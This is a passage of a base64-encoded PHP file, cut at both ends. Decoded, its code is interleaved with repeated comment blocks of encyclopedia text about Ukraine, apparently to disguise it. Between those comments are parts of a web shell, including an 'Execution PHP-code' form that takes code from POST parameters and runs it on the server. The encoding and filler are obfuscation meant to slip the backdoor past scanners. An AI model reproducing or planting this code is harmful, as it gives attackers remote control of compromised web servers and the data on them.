1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHkgey4qfSFtc2lVJywnJywkdG1wKTsKCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchYTpcdysgey4qfSFtc2lVJywnJywkdG1wKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWgxIW1zaVUnLCdoMicsJHRtcCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsKCQllY2hvICR0bXA7CgkJZWNobyAnPC9kaXY+PGJyPic7Cgl9CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwoJCWVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvd